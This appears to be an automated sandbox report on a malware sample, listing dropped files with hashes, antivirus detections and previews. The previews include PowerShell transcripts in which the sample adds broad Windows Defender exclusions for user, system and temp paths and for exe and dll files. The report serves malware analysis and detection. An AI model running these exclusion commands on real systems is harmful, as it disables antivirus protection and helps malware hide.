Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Cult

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\services32.exe.log Download File
Process:	C:\Windows\System32\services32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.346338419905592
Encrypted:	false
SSDEEP:	24:ML9E4KrVE4K5sXE4+jKDE4KGKN08AKhPKIE4TKD1KoZAE4KKPz:MxHKpHKMH+jYHKGD8AoPtHTG1hAHKKPz
MD5:	7B8322EF9951253AE0C14D92C4255FD9
SHA1:	2B5BF780118729442EA7CB0123602341DCC0A0EF
SHA-256:	48EFFF2C19F0866B55F4EC12F23540DDA507741750ECD6171B2F4A6DA9967D3E
SHA-512:	A1E88D5F1DF584AAB7A2663BF37151FBB2C3E857706914032D9186E0F53092FFD57B34CAE5B020F73B05B754D8DED205C5CE3C80F7D83F01BD61D9BAF7DF2BE8
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Cult

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YfTokH7RIj.exe.log Download File
Process:	C:\Users\user\Desktop\YfTokH7RIj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	5.3192079301865585
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKhBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHImHK1HjHKoLHG1qHqHDJn:vq5qXAqLqdqUqzcGYqhQnoPtIxHbq1Dw
MD5:	DE699E9ED728B887F11890B4B0129926
SHA1:	74207E753025CE515DE95D7B7151B845BA8D6243
SHA-256:	D73FF535C52D521F0256E7D751A40CE0DE31C9EECAAF84D0705F17A510E61A86
SHA-512:	5CE2FACBEEE20554BF4664D0C0E33E1A93017A83750B67F4DD8458CD66BA6D925BA4B8FFD37473EBECF77EFD6F2B3F80A253D2B11048998FEFBBED6DDDCF759A
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.350691143244519
Encrypted:	false
SSDEEP:	24:3vUPPpQrLAo4KAxCoOu42qs5qRPnZnCvK39tCKnKJRSF8PQ9rz6F:8PPerB4BOu/q8qRBnCvO9tC4aR48Y9aF
MD5:	4B89A7A19D35A57AF1E46313BAC77EDD
SHA1:	773003F619F30FF3D7B7B326D812246E5C5DAC5F
SHA-256:	5A6D8E886DB12425B808C1297DF9E0158AE653056D905E65E485A77161978C21
SHA-512:	6F93A0490B3BB6C6F02E543E657524581EC12EE78DF262A3FACBCB5A52C387E381F348AD751E77DCE28414D60B1F7FE8EFD2FF6CE67E0C28DA139009AEB11335
Malicious:	false
Preview:	@...e...................................z............@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.Automation4...............T..'Z..N..Nvj.G.........System.Data.4................Zg5..:O..g..q..........System.Xml..<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServicesL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<................):gK..G...$.1.q........System.Configuration<...............)L..Pz.O.E.R............System.Transactions.P................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rishn0w.102.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dyw4scav.ll0.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwfedu5d.5cu.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hlrldjfa.c0k.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5e5r3m1.ck0.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pj1w0owe.2sc.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qsuhercb.yt1.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ri3urkro.nvo.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tyggyavs.qlc.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uyq1fusj.sme.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ysspdktq.d5o.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1wx4p30.mk0.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\fl.exe Download File
Process:	C:\Users\user\Desktop\YfTokH7RIj.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4305408
Entropy (8bit):	7.991371319257063
Encrypted:	true
SSDEEP:	98304:weSXwxLzxoKojAICtBfUOEjMIc3kaA9g1Eg+mJcgmzG:wAnoK7IyH+Mxkpg1Eg+mXmK
MD5:	BF232E7CD2DE9652142313A13FE16E69
SHA1:	86292AD4BBA7E87B2BFEE60431B0D1713C2B3648
SHA-256:	1947ACE1EB9995E810DAA27B4F727AAF02991B5E43626E6C16C0FE56C23E8770
SHA-512:	37188E0D0E82EEF6C13699E0990250D747D5EEC23B7BC71E1C028DB98907D24DF439149511EE5A1B53E4D041BE5E0C2CFBE4501892CF7B55FBAE8D10D88BA43F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 60%, Browse Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...}..a.........."......n............... .....@..... ....................................@...@......@............... .................................................................................................................................H............text....l... ...................... ..`.vmp0.....!.........................`..`.vmp1.....A...?...A.................`..`.rsrc.................A.............@..@.................................................................................................................................................................................................................................................................................................................................................................................................................................................reloc..........

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.DXsl59n5.20211228181418.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5935
Entropy (8bit):	5.407027066217802
Encrypted:	false
SSDEEP:	96:BZkjxNvCqDo1ZDUZAjxNvCqDo1ZWUJGJMJjZ5jxNvCqDo1ZP/J8J8JKZp:k
MD5:	29EED4DBBD5AF83E3F4A5E97C3A54D72
SHA1:	12DEC1AE2F227D38CEAA6FC1FE9785BC065CFA31
SHA-256:	4EF05C3F7A9A301F1D6D99C69A1AA72BEB92BD83D0323566A51F609B011C4EC3
SHA-512:	D92096B6823AEFF62CDE65B4E66B7EB9644C4321C0E2E12BD1F062E47106E1485B5B197D6880AAB78D60855E4C7300F33CE055F1AC044DA5619907ABA90006C4
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181419..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..Process ID: 1572..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181419..******************..PS>Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..S

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.Hr_crS3R.20211228181400.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5443
Entropy (8bit):	5.383584584861348
Encrypted:	false
SSDEEP:	96:BZTjxNYqDo1ZqZajxNYqDo1ZGgC4jZyjxNYqDo1ZfBooPZ8:0
MD5:	15099DB63C0E652F1B7BA2AEA9B10670
SHA1:	D29862E42AC4371F8E3160405265D716920273AA
SHA-256:	147DBD469333F7CE7C07CA013F7D989982E17764B53E6E20E520AEB46FDDDCE9
SHA-512:	07075B6F0905AD151B251D7C68B9D94529B82DBF94D5966C403B3FBE0DEB8D87B3F946142ACD9E93AE11CA720E081DCE6067A40E8AFB1D01E0AC970CB8653B46
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181401..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force..Process ID: 3496..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181401..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20211228181714..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.KBDYqCXn.20211228181352.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5935
Entropy (8bit):	5.408455186981427
Encrypted:	false
SSDEEP:	96:BZtjxNvTqDo1ZqUZujxNvTqDo1ZVUJGJMJjZ0jxNvTqDo1Zo/J8J8JrZs:I
MD5:	E2A8B983A4C0746AC3EA0D9218DB5967
SHA1:	0EF1417AB520A98917A2B81DE2752822F533DD97
SHA-256:	00A48F5AF76217A20462CE58A4E954167BD75545E54691435B1BE0CDC1D9C83E
SHA-512:	6AD197F1E4C35505542639259F251444868D674561BA529D91FEF9DA072299451C1B535923AADC47E6DB0EE061A208DB42D6BF8469D6809B72CF0C06D95CE04F
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181353..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..Process ID: 6932..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181353..******************..PS>Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..S

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.hFAsNzsv.20211228181436.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5443
Entropy (8bit):	5.383456350270843
Encrypted:	false
SSDEEP:	96:BZjjxNWqDo1Z+ZAjxNWqDo1ZUgC4jZdjxNWqDo1ZnBooueZgH:dXH
MD5:	C584CB184546CBD3C97E6A024B99BDB2
SHA1:	E0EEF92376EBBC4A9D6EAFF2CEE4548373B694AC
SHA-256:	440776E21FAE872683730898B16F74166DF5F92B796B889CFBB0F35AD311BC8B
SHA-512:	C577791AF428F0E637F7A572DF58D75FCA705A580E68B850EFC25FE5E417445A1819D6D3E6D9527DBF2B4DF552C9F61D1C40EB1FBCB28B7647EA43A498B52F98
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181438..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force..Process ID: 5148..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181438..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20211228181745..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.le9Tu1FR.20211228181425.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5443
Entropy (8bit):	5.3815861854938225
Encrypted:	false
SSDEEP:	96:BZmjxNHqDo1ZPZMjxNHqDo1ZDgC4jZRjxNHqDo1ZKBoo8ZP:8
MD5:	97EB5DDCFEF67D2FB6CCF7D62C3EF899
SHA1:	DC1445D80A6943A726C467760A6F05C268BCE4F9
SHA-256:	848C693C3667011EB1BF6B956E5FDC79289BFF92828B64E8558F7E10BE88E04F
SHA-512:	8B3B7DF9517010924E88662B56BE9DBF07F2E6C3EE85869EFA01FD7B78106458CD3C2F6FE865015861EB680669922EB379BD62D94334D82B3751E579CDA1EA1F
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181426..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force..Process ID: 1848..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181426..******************..PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..********************..Windows PowerShell transcript start..Start time: 20211228181741..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)

C:\Users\user\Documents\20211228\PowerShell_transcript.376483.ocrmpR+3.20211228181423.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5935
Entropy (8bit):	5.407635574815267
Encrypted:	false
SSDEEP:	96:BZmjxNvZqDo1ZhUZkjxNvZqDo1ZWUJGJMJjZXjxNvZqDo1Zl/J8J8JkZb:3
MD5:	CD016EEE6BA92F3F5682DDDFEE462E92
SHA1:	C17370892E68C4B0BA89802D180F7DD231A27CD7
SHA-256:	8569B3143B3D9689E62DC3BF537BF534C9E39B18C80EAD47CC783924BFFA3E50
SHA-512:	8049F6F77A0A631158214CEE02169B40671D9EDC922F445428D270557A5020E87EF29656AC1FD683CAD82AD7B48ABE1268BED33B87408E9942932DA210E27E7D
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211228181426..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 376483 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..Process ID: 2480..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211228181426..******************..PS>Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force..********************..Windows PowerShell transcript start..S

C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Download File
Process:	C:\Windows\System32\services32.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	4.863035660698131
Encrypted:	false
SSDEEP:	192:3IEWUBFeC9n492+A38Zw5j3YlU3ARlMfwIoCCXdmfWTaY:1jj492+AsZw5jI6klcwlnofWTaY
MD5:	7E00AE5CF06B98B3D7494EE13532D651
SHA1:	9817A18FADACCB321FA285EE81DB36D82C346583
SHA-256:	C93CCD727EF8D69547303611BA9515036D0F61969A380AD3B72EF605E39209C0
SHA-512:	D2E5B6F40D7608BE0B7AA6DEFFEB744B03A47CB3C61398355344DA37BFD3A37B1779C412D1B8687A8D8398576A5BEEA2E61AD470F2099AAEFCFA0404B701B751
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 31%, Browse Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...}..a.........."...................... .....@..... .......................`............@...@......@............... ...............................@............................................................................................... ..H............text........ ...................... 